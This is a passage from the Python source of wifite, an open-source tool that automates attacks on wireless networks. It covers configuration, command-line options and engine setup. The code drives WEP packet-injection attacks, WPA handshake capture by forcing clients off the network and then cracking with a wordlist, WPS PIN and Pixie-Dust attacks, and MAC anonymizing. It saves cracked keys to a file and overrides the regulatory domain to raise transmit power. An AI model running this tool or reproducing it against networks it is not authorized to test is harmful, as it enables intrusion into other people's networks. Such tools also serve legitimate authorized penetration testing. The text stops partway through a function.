"""
wifite
author: derv82 at gmail
author: bwall @botnet_hunter ([email protected])
author: drone @dronesec ([email protected])
Thanks to everyone that contributed to this project.
If you helped in the past and want your name here, shoot me an email
Licensed under the GNU General Public License Version 2 (GNU GPL v2),
available at: http://www.gnu.org/licenses/gpl-2.0.txt
(C) 2011 Derv Merkler
Ballast Security additions
-----------------
- No longer requires to be root to run -cracked
- cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
- Backwards compatibility
- Made a run configuration class to handle globals
- Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
- Changed the updater to grab files from GitHub and not Google Code
- Use argparse to parse command-line arguments
- -wepca flag now properly initialized if passed through CLI
- parse_csv uses python csv library
-----------------
TODO:
Restore same command-line switch names from v1
If device already in monitor mode, check for and, if applicable, use macchanger
WPS
* Mention reaver automatically resumes sessions
* Warning about length of time required for WPS attack (*hours*)
* Show time since last successful attempt
* Percentage of tries/attempts ?
* Update code to work with reaver 1.4 ("x" sec/att)
WEP:
* ability to pause/skip/continue (done, not tested)
* Option to capture only IVS packets (uses --output-format ivs,csv)
- not compatible on older aircrack-ng's.
- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
- would cut down on size of saved .caps
reaver:
MONITOR ACTIVITY!
- Enter ESSID when executing (?)
- Ensure WPS key attempts have begun.
- If no attempts can be made, stop attack
- During attack, if no attempts are made within X minutes, stop attack & Print
- Reaver's output when unable to associate:
[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
- If failed to associate for x minutes, stop attack (same as no attempts?)
MIGHTDO:
* WPA - crack (pyrit/cowpatty) (not really important)
* Test injection at startup? (skippable via command-line switch)
"""
import csv
import os
import time
import random
import errno
from sys import argv
from sys import stdout
from shutil import copy
from subprocess import Popen, call, PIPE
from signal import SIGINT, SIGTERM
import re
import argparse
import urllib
import abc
W = '\033[0m'
R = '\033[31m'
G = '\033[32m'
O = '\033[33m'
B = '\033[34m'
P = '\033[35m'
C = '\033[36m'
GR = '\033[37m'
DN = open(os.devnull, 'w')
ERRLOG = open(os.devnull, 'w')
OUTLOG = open(os.devnull, 'w')
class CapFile:
"""
Holds data about an access point's .cap file, including AP's ESSID & BSSID.
"""
def __init__(self, filename, ssid, bssid):
self.filename = filename
self.ssid = ssid
self.bssid = bssid
class Target:
"""
Holds data for a Target (aka Access Point aka Router)
"""
def __init__(self, bssid, power, data, channel, encryption, ssid):
self.bssid = bssid
self.power = power
self.data = data
self.channel = channel
self.encryption = encryption
self.ssid = ssid
self.wps = False
self.key = ''
class Client:
"""
Holds data for a Client (device connected to Access Point/Router)
"""
def __init__(self, bssid, station, power):
self.bssid = bssid
self.station = station
self.power = power
class RunConfiguration:
"""
Configuration for this rounds of attacks
"""
def __init__(self):
self.REVISION = 89;
self.PRINTED_SCANNING = False
self.TX_POWER = 0
self.WPA_DISABLE = False
self.WPA_STRIP_HANDSHAKE = True
self.WPA_DEAUTH_COUNT = 1
self.WPA_DEAUTH_TIMEOUT = 10
self.WPA_ATTACK_TIMEOUT = 500
self.WPA_HANDSHAKE_DIR = 'hs'
if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
self.WPA_FINDINGS = []
self.WPA_DONT_CRACK = False
if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
elif os.path.exists('/usr/share/wordlists/fern-wifi/common.txt'):
self.WPA_DICTIONARY = '/usr/share/wordlists/fern-wifi/common.txt'
else:
self.WPA_DICTIONARY = ''
self.WPA_HANDSHAKE_TSHARK = True
self.WPA_HANDSHAKE_PYRIT = False
self.WPA_HANDSHAKE_AIRCRACK = True
self.WPA_HANDSHAKE_COWPATTY = False
self.WEP_DISABLE = False
self.WEP_PPS = 600
self.WEP_TIMEOUT = 600
self.WEP_ARP_REPLAY = True
self.WEP_CHOPCHOP = True
self.WEP_FRAGMENT = True
self.WEP_CAFFELATTE = True
self.WEP_P0841 = True
self.WEP_HIRTE = True
self.WEP_CRACK_AT_IVS = 10000
self.WEP_IGNORE_FAKEAUTH = True
self.WEP_FINDINGS = []
self.WEP_SAVE = False
self.WPS_DISABLE = False
self.PIXIE = False
self.WPS_FINDINGS = []
self.WPS_TIMEOUT = 660
self.WPS_RATIO_THRESHOLD = 0.01
self.WPS_MAX_RETRIES = 0
self.SHOW_ALREADY_CRACKED = False
self.WIRELESS_IFACE = ''
self.MONITOR_IFACE = ''
self.TARGET_CHANNEL = 0
self.TARGET_ESSID = ''
self.TARGET_BSSID = ''
self.IFACE_TO_TAKE_DOWN = ''
self.ORIGINAL_IFACE_MAC = ('', '')
self.DO_NOT_CHANGE_MAC = True
self.SEND_DEAUTHS = True
self.TARGETS_REMAINING = 0
self.WPA_CAPS_TO_CRACK = []
self.THIS_MAC = ''
self.SHOW_MAC_IN_SCAN = False
self.CRACKED_TARGETS = []
self.ATTACK_ALL_TARGETS = False
self.ATTACK_MIN_POWER = 0
self.VERBOSE_APS = True
self.CRACKED_TARGETS = self.load_cracked()
old_cracked = self.load_old_cracked()
if len(old_cracked) > 0:
for OC in old_cracked:
new = True
for NC in self.CRACKED_TARGETS:
if OC.bssid == NC.bssid:
new = False
break
if new:
self.save_cracked(OC)
def ConfirmRunningAsRoot(self):
if os.getuid() != 0:
print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
exit(1)
def ConfirmCorrectPlatform(self):
if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]:
print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
exit(1)
def CreateTempFolder(self):
from tempfile import mkdtemp
self.temp = mkdtemp(prefix='wifite')
if not self.temp.endswith(os.sep):
self.temp += os.sep
def save_cracked(self, target):
"""
Saves cracked access point key and info to a file.
"""
self.CRACKED_TARGETS.append(target)
with open('cracked.csv', 'wb') as csvfile:
targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
for target in self.CRACKED_TARGETS:
targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
def load_cracked(self):
"""
Loads info about cracked access points into list, returns list.
"""
result = []
if not os.path.exists('cracked.csv'): return result
with open('cracked.csv', 'rb') as csvfile:
targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in targetreader:
t = Target(row[0], 0, 0, 0, row[1], row[2])
t.key = row[3]
t.wps = row[4]
result.append(t)
return result
def load_old_cracked(self):
"""
Loads info about cracked access points into list, returns list.
"""
result = []
if not os.path.exists('cracked.txt'):
return result
fin = open('cracked.txt', 'r')
lines = fin.read().split('\n')
fin.close()
for line in lines:
fields = line.split(chr(0))
if len(fields) <= 3:
continue
tar = Target(fields[0], '', '', '', fields[3], fields[1])
tar.key = fields[2]
result.append(tar)
return result
def exit_gracefully(self, code=0):
"""
We may exit the program at any time.
We want to remove the temp folder and any files contained within it.
Removes the temp files/folder and exists with error code "code".
"""
if os.path.exists(self.temp):
for f in os.listdir(self.temp):
os.remove(os.path.join(self.temp, f))
os.rmdir(self.temp)
self.RUN_ENGINE.disable_monitor_mode()
mac_change_back()
print GR + " [+]" + W + " quitting"
print ''
exit(code)
def handle_args(self):
"""
Handles command-line arguments, sets global variables.
"""
set_encrypt = False
set_hscheck = False
set_wep = False
capfile = ''
opt_parser = self.build_opt_parser()
options = opt_parser.parse_args()
try:
if not set_encrypt and (options.wpa or options.wep or options.wps):
self.WPS_DISABLE = True
self.WPA_DISABLE = True
self.WEP_DISABLE = True
set_encrypt = True
if options.recrack:
self.SHOW_ALREADY_CRACKED = True
print GR + ' [+]' + W + ' including already cracked networks in targets.'
if options.wpa:
if options.wps:
print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
else:
print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
self.WPA_DISABLE = False
if options.wep:
print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
self.WEP_DISABLE = False
if options.wps:
print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
self.WPS_DISABLE = False
if options.pixie:
print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
self.WPS_DISABLE = False
self.WEP_DISABLE = True
self.PIXIE = True
if options.channel:
try:
self.TARGET_CHANNEL = int(options.channel)
except ValueError:
print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
except IndexError:
print O + ' [!]' + R + ' no channel given!' + W
else:
print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
if options.mac_anon:
print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
print O + ' not: only works if device is not already in monitor mode!' + W
self.DO_NOT_CHANGE_MAC = False
if options.interface:
self.WIRELESS_IFACE = options.interface
print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W)
if options.monitor_interface:
self.MONITOR_IFACE = options.monitor_interface
print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)
if options.nodeauth:
self.SEND_DEAUTHS = False
print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
if options.essid:
try:
self.TARGET_ESSID = options.essid
except ValueError:
print R + ' [!]' + O + ' no ESSID given!' + W
else:
print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
if options.bssid:
try:
self.TARGET_BSSID = options.bssid
except ValueError:
print R + ' [!]' + O + ' no BSSID given!' + W
else:
print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
if options.showb:
self.SHOW_MAC_IN_SCAN = True
print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
if options.all:
self.ATTACK_ALL_TARGETS = True
print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
if options.power:
try:
self.ATTACK_MIN_POWER = int(options.power)
except ValueError:
print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
except IndexError:
print R + ' [!]' + O + ' no power level given!' + W
else:
print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
if options.tx:
try:
self.TX_POWER = int(options.tx)
except ValueError:
print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
except IndexError:
print R + ' [!]' + O + ' no TX power level given!' + W
else:
print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
if options.quiet:
self.VERBOSE_APS = False
print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
if options.check:
try:
capfile = options.check
except IndexError:
print R + ' [!]' + O + ' unable to analyze capture file' + W
print R + ' [!]' + O + ' no cap file given!\n' + W
self.exit_gracefully(1)
else:
if not os.path.exists(capfile):
print R + ' [!]' + O + ' unable to analyze capture file!' + W
print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
self.exit_gracefully(1)
if options.cracked:
if len(self.CRACKED_TARGETS) == 0:
print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
self.exit_gracefully(1)
print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
for victim in self.CRACKED_TARGETS:
if victim.wps != False:
print ' %s (%s) : "%s" - Pin: %s' % (
C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
else:
print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
print ''
self.exit_gracefully(0)
if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
self.WPA_HANDSHAKE_TSHARK = False
self.WPA_HANDSHAKE_PYRIT = False
self.WPA_HANDSHAKE_COWPATTY = False
self.WPA_HANDSHAKE_AIRCRACK = False
set_hscheck = True
if options.strip:
self.WPA_STRIP_HANDSHAKE = True
print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
if options.wpadt:
try:
self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
except ValueError:
print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
except IndexError:
print R + ' [!]' + O + ' no deauth timeout given!' + W
else:
print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
if options.wpat:
try:
self.WPA_ATTACK_TIMEOUT = int(options.wpat)
except ValueError:
print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
except IndexError:
print R + ' [!]' + O + ' no attack timeout given!' + W
else:
print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
if options.crack:
self.WPA_DONT_CRACK = False
print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
if options.dic:
try:
self.WPA_DICTIONARY = options.dic
except IndexError:
print R + ' [!]' + O + ' no WPA dictionary given!'
else:
if os.path.exists(options.dic):
print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
else:
print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
else:
print R + ' [!]' + O + ' WPA dictionary file not given!'
self.exit_gracefully(1)
if options.tshark:
self.WPA_HANDSHAKE_TSHARK = True
print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
if options.pyrit:
self.WPA_HANDSHAKE_PYRIT = True
print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
if options.aircrack:
self.WPA_HANDSHAKE_AIRCRACK = True
print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
if options.cowpatty:
self.WPA_HANDSHAKE_COWPATTY = True
print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
or options.p0841 or options.hirte:
self.WEP_CHOPCHOP = False
self.WEP_ARPREPLAY = False
self.WEP_CAFFELATTE = False
self.WEP_FRAGMENT = False
self.WEP_P0841 = False
self.WEP_HIRTE = False
if options.chopchop:
print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
self.WEP_CHOPCHOP = True
if options.fragment:
print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
self.WEP_FRAGMENT = True
if options.caffeelatte:
print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
self.WEP_CAFFELATTE = True
if options.arpreplay:
print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
self.WEP_ARPREPLAY = True
if options.p0841:
print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
self.WEP_P0841 = True
if options.hirte:
print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
self.WEP_HIRTE = True
if options.fakeauth:
print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
self.WEP_IGNORE_FAKEAUTH = False
if options.wepca:
try:
self.WEP_CRACK_AT_IVS = int(options.wepca)
except ValueError:
print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
except IndexError:
print R + ' [!]' + O + ' no IV number specified!' + W
else:
print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
G + str(self.WEP_CRACK_AT_IVS) + W)
if options.wept:
try:
self.WEP_TIMEOUT = int(options.wept)
except ValueError:
print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
except IndexError:
print R + ' [!]' + O + ' no timeout given!' + W
else:
print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
G + str(self.WEP_TIMEOUT) + " seconds" + W)
if options.pps:
try:
self.WEP_PPS = int(options.pps)
except ValueError:
print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
except IndexError:
print R + ' [!]' + O + ' no value given!' + W
else:
print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
G + str(options.pps) + " packets/sec" + W)
if options.wepsave:
self.WEP_SAVE = True
print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
if options.wpst:
try:
self.WPS_TIMEOUT = int(options.wpst)
except ValueError:
print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
except IndexError:
print R + ' [!]' + O + ' no timeout given!' + W
else:
print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
G + str(self.WPS_TIMEOUT) + " seconds" + W)
if options.wpsratio:
try:
self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
except ValueError:
print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
except IndexError:
print R + ' [!]' + O + ' no ratio given!' + W
else:
print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
if options.wpsretry:
try:
self.WPS_MAX_RETRIES = int(options.wpsretry)
except ValueError:
print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
except IndexError:
print R + ' [!]' + O + ' no number given!' + W
else:
print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
G + str(self.WPS_MAX_RETRIES) + " retries" + W)
except IndexError:
print '\nindexerror\n\n'
if capfile != '':
self.RUN_ENGINE.analyze_capfile(capfile)
print ''
def build_opt_parser(self):
""" Options are doubled for backwards compatability; will be removed soon and
fully moved to GNU-style
"""
option_parser = argparse.ArgumentParser()
command_group = option_parser.add_argument_group('COMMAND')
command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
dest='cracked')
command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
action='store_true', dest='recrack')
command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
global_group = option_parser.add_argument_group('GLOBAL')
global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
dest='mac_anon')
global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
dest='monitor_interface')
global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
dest='essid')
global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
dest='bssid')
global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
dest='showb')
global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
dest='power')
global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
dest='quiet')
global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
wpa_group = option_parser.add_argument_group('WPA')
wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
action='store_true', dest='wpa')
wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
dest='wpat')
wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
dest='wpadt')
wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
action='store_true', dest='strip')
wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
dest='crack')
wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
dest='dic')
wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
action='store_true', dest='aircrack')
wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
dest='pyrit')
wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
dest='tshark')
wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
action='store_true', dest='cowpatty')
wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
wep_group = option_parser.add_argument_group('WEP')
wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
dest='wep')
wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
dest='pps')
wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
dest='wept')
wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
dest='chopchop')
wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
dest='arpreplay')
wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
dest='arpreplay')
wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
dest='fragment')
wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
dest='caffeelatte')
wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
dest='caffeelatte')
wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
action='store_true', dest='fakeauth')
wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
dest='fakeauth')
wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
dest='wepca')
wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
action='store', dest='wepsave')
wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
wps_group = option_parser.add_argument_group('WPS')
wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
dest='wps')
wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
dest='wpst')
wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
dest='wpsratio')
wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
action='store', dest='wpsretry')
wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
return option_parser
class RunEngine:
def __init__(self, run_config):
self.RUN_CONFIG = run_config
self.RUN_CONFIG.RUN_ENGINE = self
def initial_check(self):
"""
Ensures required programs are installed.
"""
airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
for air in airs:
if program_exists(air): continue
print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
self.RUN_CONFIG.exit_gracefully(1)
if not program_exists('iw'):
print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
self.RUN_CONFIG.exit_gracefully(1)
if not program_exists('iwconfig'):
print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'iwconfig' + W)
self.RUN_CONFIG.exit_gracefully(1)
if not program_exists('ifconfig'):
print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'ifconfig' + W)
self.RUN_CONFIG.exit_gracefully(1)
printed = False
if not program_exists('reaver'):
printed = True
print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
self.RUN_CONFIG.WPS_DISABLE = True
if not program_exists('tshark'):
printed = True
print R + ' [!]' + O + ' the program ' + R + 'tshark' + O + ' was not found' + W
print R + ' [!]' + O + ' please install tshark: https://www.wireshark.org/#download' + W
self.RUN_CONFIG.WPS_DISABLE = True
recs = ['pyrit', 'cowpatty']
for rec in recs:
if program_exists(rec): continue
printed = True
print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
if printed: print ''
def enable_monitor_mode(self, iface):
"""
First attempts to anonymize the MAC if requested; MACs cannot
be anonymized if they're already in monitor mode.
Uses airmon-ng to put a device into Monitor Mode.
Then uses the get_iface() method to retrieve the new interface's name.
Sets global variable IFACE_TO_TAKE_DOWN as well.
Returns the name of the interface in monitor mode.
"""
mac_anonymize(iface)
print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
stdout.flush()
call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
print 'done'
self.RUN_CONFIG.WIRELESS_IFACE = ''
self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
if self.RUN_CONFIG.TX_POWER > 0:
print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
print 'done'
return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
def disable_monitor_mode(self):
"""
The program may have enabled monitor mode on a wireless interface.
We want to disable this before we exit, so we will do that.
"""
if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
stdout.flush()
call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
print 'done'
def rtl8187_fix(self, iface):
"""
Attempts to solve "Unknown error 132" common with RTL8187 devices.
Puts down interface, unloads/reloads driver module, then puts iface back up.
Returns True if fix was attempted, False otherwise.
"""
proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
proc_airmon.wait()
using_rtl8187 = False
for line in proc_airmon.communicate()[0].split():
line = line.upper()
if line.strip() == '' or line.startswith('INTERFACE'): continue
if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
if not using_rtl8187:
print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
self.RUN_CONFIG.exit_gracefully(1)
print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
original_iface = iface
airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
airmon.wait()
for line in airmon.communicate()[0].split('\n'):
if line.strip() == '' or \
line.startswith("Interface") or \
